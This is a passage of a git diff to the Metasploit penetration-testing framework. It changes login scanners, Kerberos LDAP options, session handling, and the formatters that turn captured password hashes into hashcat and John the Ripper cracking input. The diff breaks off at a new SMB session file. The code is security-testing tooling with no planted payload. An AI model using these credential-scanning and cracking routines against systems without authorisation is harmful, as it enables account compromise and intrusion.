index a109d49298..668006fced 100644 --- a/lib/metasploit/framework/ldap/client.rb +++ b/lib/metasploit/framework/ldap/client.rb @@ -55,13 +55,12 @@ module Metasploit when Msf::Exploit::Remote::AuthOption::KERBEROS raise Msf::ValidationError, 'The Ldap::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank? raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank? - raise Msf::ValidationError, 'The DomainControllerRhost is required when using Kerberos authentication.' if opts[:domain_controller_rhost].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types]) raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty? kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new( - host: opts[:domain_controller_rhost], + host: opts[:domain_controller_rhost].blank? ? nil : opts[:domain_controller_rhost], hostname: opts[:ldap_rhostname], realm: opts[:domain], username: opts[:username], diff --git a/lib/metasploit/framework/login_scanner/db2.rb b/lib/metasploit/framework/login_scanner/db2.rb index 31d9c7ec7f..2886485b48 100644 --- a/lib/metasploit/framework/login_scanner/db2.rb +++ b/lib/metasploit/framework/login_scanner/db2.rb @@ -92,7 +92,7 @@ module Metasploit response_data = {} if valid_response?(response) - packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet = Rex::Proto::DRDA::Packet::SERVER_PACKET.new.read(response) response_data = Rex::Proto::DRDA::Utils.server_packet_info(packet) end response_data @@ -115,7 +115,7 @@ module Metasploit # @param response [String] The unprocessed response packet # @return [Boolean] Whether the authentication was successful def successful_login?(response) - packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet = Rex::Proto::DRDA::Packet::SERVER_PACKET.new.read(response) packet_info = Rex::Proto::DRDA::Utils.server_packet_info(packet) if packet_info[:db_login_success] true diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb index d2afbae113..73a5b8627c 100644 --- a/lib/metasploit/framework/login_scanner/smb.rb +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -57,6 +57,10 @@ module Metasploit # A factory method for creating a kerberos authenticator attr_accessor :kerberos_authenticator_factory + # @returns [Boolean] If a login is successful and this attribute is true - a RubySMB::Client instance is used as proof, + # and the socket is not immediately closed + attr_accessor :use_client_as_proof + # If login is successul and {Result#access_level} is not set # then arbitrary credentials are accepted. If it is set to # Guest, then arbitrary credentials are accepted, but given @@ -129,6 +133,14 @@ module Metasploit case status_code when WindowsError::NTStatus::STATUS_SUCCESS, WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE, WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED status = Metasploit::Model::Login::Status::SUCCESSFUL + # This module no long owns the socket, return it as proof so the calling context can perform additional operations + # Additionally assign values to nil to avoid closing the socket etc automatically + if use_client_as_proof + proof = client + client = nil + self.sock = nil + self.dispatcher = nil + end when WindowsError::NTStatus::STATUS_ACCOUNT_LOCKED_OUT status = Metasploit::Model::Login::Status::LOCKED_OUT when WindowsError::NTStatus::STATUS_LOGON_FAILURE, WindowsError::NTStatus::STATUS_ACCESS_DENIED diff --git a/lib/metasploit/framework/password_crackers/cracker.rb b/lib/metasploit/framework/password_crackers/cracker.rb index 8e14981ae8..2f08b7c3da 100644 --- a/lib/metasploit/framework/password_crackers/cracker.rb +++ b/lib/metasploit/framework/password_crackers/cracker.rb @@ -445,7 +445,7 @@ module Metasploit # @return [Array] An array set up for {::IO.popen} to use def hashcat_crack_command cmd_string = binary_path - cmd = [cmd_string, '--session=' + cracker_session_id, '--logfile-disable'] + cmd = [cmd_string, '--session=' + cracker_session_id, '--logfile-disable', '--quiet', '--username'] if pot.present? cmd << ('--potfile-path=' + pot) @@ -563,7 +563,7 @@ module Metasploit pot_file = pot || john_pot_file if cracker == 'hashcat' - cmd = [cmd_string, '--show', "--potfile-path=#{pot_file}", "--hash-type=#{jtr_format_to_hashcat_format(format)}"] + cmd = [cmd_string, '--show', '--username', "--potfile-path=#{pot_file}", "--hash-type=#{jtr_format_to_hashcat_format(format)}"] elsif cracker == 'john' cmd = [cmd_string, '--show', "--pot=#{pot_file}", "--format=#{format}"] diff --git a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb index c48af0a1d8..c912d53cb1 100644 --- a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb +++ b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb @@ -1,134 +1,144 @@ -# This method takes a {framework.db.cred}, and normalizes it -# to the string format hashcat is expecting. -# https://hashcat.net/wiki/doku.php?id=example_hashes -# -# @param cred [credClass] A credential from framework.db -# @return [String] The hash in jtr format or nil on no match. -def hash_to_hashcat(cred) - case cred.private.type - when 'Metasploit::Credential::NTLMHash' - both = cred.private.data.split(':') - if both[0].upcase == 'AAD3B435B51404EEAAD3B435B51404EE' # lanman empty, return ntlm - return both[1] # ntlm hash-mode: 1000 - end +module Metasploit + module Framework + module PasswordCracker + module Hashcat + module Formatter + # This method takes a {framework.db.cred}, and normalizes it + # to the string format hashcat is expecting. + # https://hashcat.net/wiki/doku.php?id=example_hashes + # + # @param cred [credClass] A credential from framework.db + # @return [String] The hash in jtr format or nil on no match. + def self.hash_to_hashcat(cred) + case cred.private.type + when 'Metasploit::Credential::NTLMHash' + both = cred.private.data.split(':') + if both[0].upcase == 'AAD3B435B51404EEAAD3B435B51404EE' # lanman empty, return ntlm + return "#{cred.id}:#{both[1]}" # ntlm hash-mode: 1000 + end - return both[0] # give lanman, hash-mode: 3000 - when 'Metasploit::Credential::PostgresMD5' # hash-mode: 12 - if cred.private.jtr_format =~ /postgres|raw-md5/ - hash_string = cred.private.data - hash_string.gsub!(/^md5/, '') - return "#{hash_string}:#{cred.public.username}" - end - when 'Metasploit::Credential::NonreplayableHash' - case cred.private.jtr_format - # oracle 11+ password hash descriptions: - # this password is stored as a long ascii string with several sections - # https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ - # example: - # hash = [] - # hash << "S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;" - # hash << "H:DC9894A01797D91D92ECA1DA66242209;" - # hash << "T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C" - # puts hash.join('') - # S: = 60 characters -> sha1(password + salt (10 bytes)) - # 40 char sha1, 20 char salt - # hash is 8F2D65FB5547B71C8DA3760F10960428CD307B1C - # salt is 6271691FC55C1F56554A - # H: = 32 characters - # legacy MD5 - # T: = 160 characters - # PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+) - when /^pbkdf2-sha256/ - # hashmode: 10900 - # from: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU - # to: sha256:29000:Q1hzYjU5dFNMWm05QUJCTg==:s+vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU= + return "#{cred.id}:#{both[0]}" # give lanman, hash-mode: 3000 + when 'Metasploit::Credential::PostgresMD5' # hash-mode: 12 + if cred.private.jtr_format =~ /postgres|raw-md5/ + hash_string = cred.private.data + hash_string.gsub!(/^md5/, '') + return "#{cred.id}:#{hash_string}:#{cred.public.username}" + end + when 'Metasploit::Credential::NonreplayableHash' + case cred.private.jtr_format + # oracle 11+ password hash descriptions: + # this password is stored as a long ascii string with several sections + # https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ + # example: + # hash = [] + # hash << "S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;" + # hash << "H:DC9894A01797D91D92ECA1DA66242209;" + # hash << "T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C" + # puts hash.join('') + # S: = 60 characters -> sha1(password + salt (10 bytes)) + # 40 char sha1, 20 char salt + # hash is 8F2D65FB5547B71C8DA3760F10960428CD307B1C + # salt is 6271691FC55C1F56554A + # H: = 32 characters + # legacy MD5 + # T: = 160 characters + # PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+) + when /^pbkdf2-sha256/ + # hashmode: 10900 + # from: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU + # to: sha256:29000:Q1hzYjU5dFNMWm05QUJCTg==:s+vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU= - # https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception - c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$') + # https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception + c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$') - # This method takes a string which is likely base64 encoded - # however, there is an arbitrary amount of = missing from the end - # so we attempt to add = until we are able to decode it - # - # @param str [String] the base64-ish string - # @return [String] the corrected string - def add_equals_to_base64(str) - ['', '=', '=='].each do |equals| - to_test = "#{str}#{equals}" - Base64.strict_decode64(to_test) - return to_test - rescue ArgumentError - next + # This method takes a string which is likely base64 encoded + # however, there is an arbitrary amount of = missing from the end + # so we attempt to add = until we are able to decode it + # + # @param str [String] the base64-ish string + # @return [String] the corrected string + def add_equals_to_base64(str) + ['', '=', '=='].each do |equals| + to_test = "#{str}#{equals}" + Base64.strict_decode64(to_test) + return to_test + rescue ArgumentError + next + end + nil + end + + c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out + c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out + return c.join(':') + when /hmac-md5/ + data = cred.private.data.split('#') + password = Rex::Text.encode_base64("#{cred.public.username} #{data[1]}") + return "#{cred.id}:$cram_md5$#{Rex::Text.encode_base64(data[0])}$#{password}" + when /raw-sha1|oracle11/ # oracle 11, hash-mode: 112 + if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11 + # hashcat wants a 40 character string, : 20 character string + return "#{cred.id}:#{Regexp.last_match(1).scan(/.{1,40}/m).join(':').downcase}" + end + when /oracle12c/ + if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c, hash-mode: 12300 + return "#{cred.id}:#{Regexp.last_match(1).upcase}" + end + when /dynamic_1506|postgres/ + # this may not be correct + if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11, hash-mode: 3100 + return "#{cred.id}:#{Regexp.last_match(1)}:#{cred.public.username}" + end + when /oracle/ # oracle + if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c, hash-mode: 3100 + return "#{cred.id}:#{cred.private.data}" + end + when /dynamic_82/ + return "#{cred.id}:#{cred.private.data.sub('$HEX$', ':').sub('$dynamic_82$', '')}" + when /mysql-sha1/ + # lowercase, and remove the first character if its a * + return "#{cred.id}:#{cred.private.data.downcase.sub('*', '')}" + when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/, + /sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/, + /mediawiki|phpass|PBKDF2-HMAC-SHA1/, + /android-sha1/, /android-samsung-sha1/, /android-md5/, + /ssha/, /raw-sha512/, /raw-sha256/ + # md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512 + # hash-mode: 500 1500 3200 7400 1800 122 1722 7100 + # mssql, mssql05, mssql12, mysql, mysql-sha1 + # hash-mode: 131, 132, 1731 200 300 + # mediawiki, phpass, PBKDF2-HMAC-SHA1 + # hash-mode: 3711, 400, 12001 + # android-sha1 + # hash-mode: 5800 + # ssha, raw-sha512, raw-sha256 + # hash-mode: 111, 1700, 1400 + return "#{cred.id}:#{cred.private.data}" + when /^mscash$/ + # hash-mode: 1100 + data = cred.private.data.split(':').first + if /^M\$(?[[:print:]]+)#(?[\da-fA-F]{32})/ =~ data + return "#{cred.id}:#{hash}:#{salt}" + end + when /^mscash2$/ + # hash-mode: 2100 + return "#{cred.id}:#{cred.private.data.split(':').first}" + when /netntlm(v2)?/ + # netntlm, netntlmv2 + # hash-mode: 5500 5600 + return "#{cred.id}:#{cred.private.data}" + when /^vnc$/ + # https://hashcat.net/forum/thread-8833.html + # while we can do the transformation, we'd have to throw extra flags at hashcat which aren't currently written into the lib for automation + nil + when /^krb5$/ + return "#{cred.id}:#{cred.private.data}" + end + end + nil + end end - nil end - - c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out - c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out - return c.join(':') - when /hmac-md5/ - data = cred.private.data.split('#') - password = Rex::Text.encode_base64("#{cred.public.username} #{data[1]}") - return "$cram_md5$#{Rex::Text.encode_base64(data[0])}$#{password}" - when /raw-sha1|oracle11/ # oracle 11, hash-mode: 112 - if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11 - # hashcat wants a 40 character string, : 20 character string - return Regexp.last_match(1).scan(/.{1,40}/m).join(':').downcase - end - when /oracle12c/ - if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c, hash-mode: 12300 - return Regexp.last_match(1).upcase - end - when /dynamic_1506|postgres/ - # this may not be correct - if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11, hash-mode: 3100 - return "#{Regexp.last_match(1)}:#{cred.public.username}" - end - when /oracle/ # oracle - if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c, hash-mode: 3100 - return cred.private.data.to_s - end - when /dynamic_82/ - return cred.private.data.sub('$HEX$', ':').sub('$dynamic_82$', '') - when /mysql-sha1/ - # lowercase, and remove the first character if its a * - return cred.private.data.downcase.sub('*', '') - when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/, - /sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/, - /mediawiki|phpass|PBKDF2-HMAC-SHA1/, - /android-sha1/, /android-samsung-sha1/, /android-md5/, - /ssha/, /raw-sha512/, /raw-sha256/ - # md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512 - # hash-mode: 500 1500 3200 7400 1800 122 1722 7100 - # mssql, mssql05, mssql12, mysql, mysql-sha1 - # hash-mode: 131, 132, 1731 200 300 - # mediawiki, phpass, PBKDF2-HMAC-SHA1 - # hash-mode: 3711, 400, 12001 - # android-sha1 - # hash-mode: 5800 - # ssha, raw-sha512, raw-sha256 - # hash-mode: 111, 1700, 1400 - return cred.private.data - when /^mscash$/ - # hash-mode: 1100 - data = cred.private.data.split(':').first - if /^M\$(?[[:print:]]+)#(?[\da-fA-F]{32})/ =~ data - return "#{hash}:#{salt}" - end - when /^mscash2$/ - # hash-mode: 2100 - return cred.private.data.split(':').first - when /netntlm(v2)?/ - # netntlm, netntlmv2 - # hash-mode: 5500 5600 - return cred.private.data - when /^vnc$/ - # https://hashcat.net/forum/thread-8833.html - # while we can do the transformation, we'd have to throw extra flags at hashcat which aren't currently written into the lib for automation - nil - when /^krb5$/ - return cred.private.data.to_s end end - nil end diff --git a/lib/metasploit/framework/password_crackers/jtr/formatter.rb b/lib/metasploit/framework/password_crackers/jtr/formatter.rb index 8656ac9e76..579be9e4a8 100644 --- a/lib/metasploit/framework/password_crackers/jtr/formatter.rb +++ b/lib/metasploit/framework/password_crackers/jtr/formatter.rb @@ -1,88 +1,138 @@ -# This method takes a {framework.db.cred}, and normalizes it -# to the string format JTR is expecting. -# -# @param cred [credClass] A credential from framework.db -# @return [String] The hash in jtr format or nil on no match. -def hash_to_jtr(cred) - case cred.private.type - when 'Metasploit::Credential::NTLMHash' - return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}" - when 'Metasploit::Credential::PostgresMD5' - if cred.private.jtr_format =~ /postgres|raw-md5/ - # john --list=subformats | grep 'PostgreSQL MD5' - # UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5) - hash_string = cred.private.data - hash_string.gsub!(/^md5/, '') - return "#{cred.public.username}:$dynamic_1034$#{hash_string}" - end - when 'Metasploit::Credential::NonreplayableHash' - case cred.private.jtr_format - # oracle 11+ password hash descriptions: - # this password is stored as a long ascii string with several sections - # https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ - # example: - # hash = [] - # hash << "S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;" - # hash << "H:DC9894A01797D91D92ECA1DA66242209;" - # hash << "T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C" - # puts hash.join('') - # S: = 60 characters -> sha1(password + salt (10 bytes)) - # 40 char sha1, 20 char salt - # hash is 8F2D65FB5547B71C8DA3760F10960428CD307B1C - # salt is 6271691FC55C1F56554A - # H: = 32 characters - # legacy MD5 - # T: = 160 characters - # PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+) - when /raw-sha1|oracle11/ # oracle 11 - if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11 - return "#{cred.public.username}:#{Regexp.last_match(1)}:#{cred.id}:" - end - when /oracle12c/ - if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c - return "#{cred.public.username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{cred.id}:" - end - when /dynamic_1506/ - if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11 - return "#{cred.public.username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{cred.id}:" - end - when /oracle/ # oracle - if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c - return "#{cred.public.username}:O$#{cred.public.username}##{cred.private.data}:#{cred.id}:" - end - when /md5|des|bsdi|crypt|bf|sha256|sha512|xsha512/ - # md5(crypt), des(crypt), b(crypt), sha256(crypt), sha512(crypt), xsha512 - return "#{cred.public.username}:#{cred.private.data}:::::#{cred.id}:" - when /netntlm/ - return "#{cred.private.data}::::::#{cred.id}:" - when /qnx/ - # https://moar.so/blog/qnx-password-hash-formats.html - hash = cred.private.data.end_with?(':0:0') ? cred.private.data : "#{cred.private.data}:0:0" - return "#{cred.public.username}:#{hash}" - when /Raw-MD5u/ - # This is just md5(unicode($p)), where $p is the password. - # Avira uses to store their passwords, there may be other apps that also use this though. - # The trailing : shows an empty salt. This is because hashcat only has one unicode hash - # format which is combatible, type 30, but that is listed as md5(utf16le($pass).$salt) - # with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs - # The hash as *hash*: so that it is both JTR and hashcat compatible - return "#{cred.private.data}:" - when /vnc/ - # add a beginning * if one is missing - return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}" - else - # /mysql|mysql-sha1/ - # /mssql|mssql05|mssql12/ - # /des(crypt)/ - # /mediawiki|phpass|atlassian/ - # /dynamic_82/ - # /ssha/ - # /raw-sha512/ - # /raw-sha256/ - # This also handles *other* type credentials which aren't guaranteed to have a public +module Metasploit + module Framework + module PasswordCracker + module JtR + module Formatter + # This method takes a {framework.db.cred}, and normalizes it + # to the string format JTR is expecting. + # + # @param cred [credClass] A credential from framework.db + # @return [String] The hash in jtr format or nil on no match. + def self.hash_to_jtr(cred) + case cred.private.type + when 'Metasploit::Credential::NTLMHash' + return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}" + when 'Metasploit::Credential::PostgresMD5' + if cred.private.jtr_format =~ /postgres|raw-md5/ + # john --list=subformats | grep 'PostgreSQL MD5' + # UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5) + hash_string = cred.private.data + hash_string.gsub!(/^md5/, '') + return "#{cred.public.username}:$dynamic_1034$#{hash_string}:#{cred.id}:" + end + when 'Metasploit::Credential::NonreplayableHash' + case cred.private.jtr_format + # oracle 11+ password hash descriptions: + # this password is stored as a long ascii string with several sections + # https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ + # example: + # hash = [] + # hash << "S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;" + # hash << "H:DC9894A01797D91D92ECA1DA66242209;" + # hash << "T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C" + # puts hash.join('') + # S: = 60 characters -> sha1(password + salt (10 bytes)) + # 40 char sha1, 20 char salt + # hash is 8F2D65FB5547B71C8DA3760F10960428CD307B1C + # salt is 6271691FC55C1F56554A + # H: = 32 characters + # legacy MD5 + # T: = 160 characters + # PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+) + when /raw-sha1|oracle11/ # oracle 11 + if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11 + return "#{cred.public.username}:#{Regexp.last_match(1)}:#{cred.id}:" + end + when /oracle12c/ + if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c + return "#{cred.public.username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{cred.id}:" + end + when /dynamic_1506/ + if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11 + return "#{cred.public.username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{cred.id}:" + end + when /oracle/ # oracle + if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c + return "#{cred.public.username}:O$#{cred.public.username}##{cred.private.data}:#{cred.id}:" + end + when /md5|des|bsdi|crypt|bf|sha256|sha512|xsha512/ + # md5(crypt), des(crypt), b(crypt), sha256(crypt), sha512(crypt), xsha512 + return "#{cred.public.username}:#{cred.private.data}:::::#{cred.id}:" + when /xsha/ + # xsha512 + return "#{cred.public.username}:#{cred.private.data.upcase}:::::#{cred.id}:" + when /netntlm/ + return "#{cred.private.data}::::::#{cred.id}:" + when /qnx/ + # https://moar.so/blog/qnx-password-hash-formats.html + hash = cred.private.data.end_with?(':0:0') ? cred.private.data : "#{cred.private.data}:0:0" + return "#{cred.public.username}:#{hash}" + when /Raw-MD5u/ + # This is just md5(unicode($p)), where $p is the password. + # Avira uses to store their passwords, there may be other apps that also use this though. + # The trailing : shows an empty salt. This is because hashcat only has one unicode hash + # format which is combatible, type 30, but that is listed as md5(utf16le($pass).$salt) + # with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs + # The hash as *hash*: so that it is both JTR and hashcat compatible + return "#{cred.private.data}:" + when /vnc/ + # add a beginning * if one is missing + return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}" + else + # /mysql|mysql-sha1/ + # /mssql|mssql05|mssql12/ + # /des(crypt)/ + # /mediawiki|phpass|atlassian/ + # /dynamic_82/ + # /ssha/ + # /raw-sha512/ + # /raw-sha256/ + # /xsha/ + # /mscash2/ + # This also handles *other* type credentials which aren't guaranteed to have a public - return "#{cred.public.nil? ? ' ' : cred.public.username}:#{cred.private.data}:#{cred.id}:" + return "#{cred.public.nil? ? ' ' : cred.public.username}:#{cred.private.data}:#{cred.id}:" + end + end + nil + end + + # This method takes a {framework.db.cred}, and normalizes it + # from the JTR format to the DB format. + # + # @param [credClass] a credential from framework.db + # @return [Array] All of the hash types that may be in the DB that apply + def self.jtr_to_db(cred_type) + case cred_type + when 'descrypt' # from aix module + return ['des'] + when 'oracle' # from databases module + return ['des,oracle'] + when 'dynamic_1506' + return ['dynamic_1506'] + when 'oracle11' + return ['raw-sha1,oracle'] + when 'oracle12c' + return ['pbkdf2,oracle12c'] + when 'dynamic_1034' + return ['raw-md5,postgres'] + when 'md5crypt' # from linux module + return ['md5'] + when 'descrypt' + return ['des'] + when 'bsdicrypt' + return ['bsdi'] + when 'sha256crypt' + return ['sha256,crypt'] + when 'sha512crypt' + return ['sha512,crypt'] + when 'bcrypt' + return ['bf'] + end + return [cred_type] + end + end + end end end - nil end diff --git a/lib/metasploit/framework/ssh/platform.rb b/lib/metasploit/framework/ssh/platform.rb index 2afdcb4519..6d016f27ee 100644 --- a/lib/metasploit/framework/ssh/platform.rb +++ b/lib/metasploit/framework/ssh/platform.rb @@ -101,7 +101,7 @@ module Metasploit 'hpux' when /AIX/i 'aix' - when /cygwin|Win32|Windows|Microsoft/i + when /MSYS_NT|cygwin|Win32|Windows|Microsoft/i 'windows' when /Unknown command or computer name|Line has invalid autocommand/i 'cisco-ios' diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index fe38742758..f0224e5673 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ module Metasploit end end - VERSION = "6.3.41" + VERSION = "6.3.49" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 08e2db3a58..6c4700f141 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -202,28 +202,38 @@ class Config < Hash # Returns the full path to the history file. # - # @return [String] path the history file. + # @return [String] path to the history file. def self.history_file self.new.history_file end + # Returns the full path to the meterpreter history file. + # + # @return [String] path to the history file. def self.meterpreter_history self.new.meterpreter_history end + # Returns the full path to the smb session history file. + # + # @return [String] path to the history file. + def self.smb_session_history + self.new.smb_session_history + end + def self.pry_history self.new.pry_history end # Returns the full path to the fav_modules file. # - # @return [String] path the fav_modules file. + # @return [String] path to the fav_modules file. def self.fav_modules_file self.new.fav_modules_file end # Returns the full path to the handler file. # - # @return [String] path the handler file. + # @return [String] path to the handler file. def self.persist_file self.new.persist_file end @@ -316,6 +326,10 @@ class Config < Hash config_directory + FileSep + "meterpreter_history" end + def smb_session_history + config_directory + FileSep + "smb_session_history" + end + def pry_history config_directory + FileSep + "pry_history" end diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 7c914e744c..f83a84cbe6 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -30,7 +30,7 @@ class CommandShell include Rex::Ui::Text::Resource @@irb_opts = Rex::Parser::Arguments.new( - '-h' => [false, 'Help menu.' ], + ['-h', '--help'] => [false, 'Help menu.' ], '-e' => [true, 'Expression to evaluate.'] ) @@ -235,35 +235,35 @@ Shell Banner: end def cmd_sessions(*args) - if args.length.zero? || args[0].to_i <= 0 - # No args - return cmd_sessions_help - end - - if args.length == 1 && (args[1] == '-h' || args[1] == 'help') - # One arg, and args[1] => '-h' '-H' 'help' - return cmd_sessions_help - end - if args.length != 1 - # More than one argument + print_status "Wrong number of arguments expected: 1, received: #{args.length}" return cmd_sessions_help end - if args[0].to_s == self.name.to_s + if args[0] == '-h' || args[0] == '--help' + return cmd_sessions_help + end + + session_id = args[0].to_i + if session_id <= 0 + print_status 'Invalid session id' + return cmd_sessions_help + end + + if session_id == self.sid # Src == Dst print_status("Session #{self.name} is already interactive.") else print_status("Backgrounding session #{self.name}...") # store the next session id so that it can be referenced as soon # as this session is no longer interacting - self.next_session = args[0] + self.next_session = session_id self.interacting = false end end def cmd_resource(*args) - if args.empty? + if args.empty? || args[0] == '-h' || args[0] == '--help' cmd_resource_help return false end @@ -320,9 +320,9 @@ Shell Banner: end def cmd_shell(*args) - if args.length == 1 && (args[1] == '-h' || args[1] == 'help') - # One arg, and args[1] => '-h' '-H' 'help' - return cmd_sessions_help + if args.length == 1 && (args[0] == '-h' || args[0] == '--help') + # One arg, and args[0] => '-h' '--help' + return cmd_shell_help end if platform == 'windows' @@ -570,7 +570,7 @@ Shell Banner: # Open the Pry debugger on the current session # def cmd_pry(*args) - if args.include?('-h') + if args.include?('-h') || args.include?('--help') cmd_pry_help return end diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 166011c13a..e7b07ec046 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -95,6 +95,15 @@ class Meterpreter < Rex::Post::Meterpreter::Client self.console = Rex::Post::Meterpreter::Ui::Console.new(self) end + def exit + begin + self.core.shutdown + rescue StandardError + nil + end + self.shutdown_passive_dispatcher + self.console.stop + end # # Returns the session type as being 'meterpreter'. # @@ -593,6 +602,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client sock end + def supports_udp? + true + end + # # Get a string representation of the current session platform # diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb index 1a06786062..410b5e9dad 100644 --- a/lib/msf/base/sessions/scriptable.rb +++ b/lib/msf/base/sessions/scriptable.rb @@ -183,6 +183,7 @@ module Scriptable execute_file(full_path, args) framework.events.on_session_script_run(self, full_path) rescue StandardError => e + elog("Could not execute #{script_name}: #{e.class} #{e}", error: e) print_error("Could not execute #{script_name}: #{e.class} #{e}") end end diff --git a/lib/msf/base/sessions/smb.rb b/lib/msf/base/sessions/smb.rb new file mode 100644 index 0000000000..2e4297ba4e --- /dev/null +++ b/lib/msf/base/sessions/smb.rb @@ 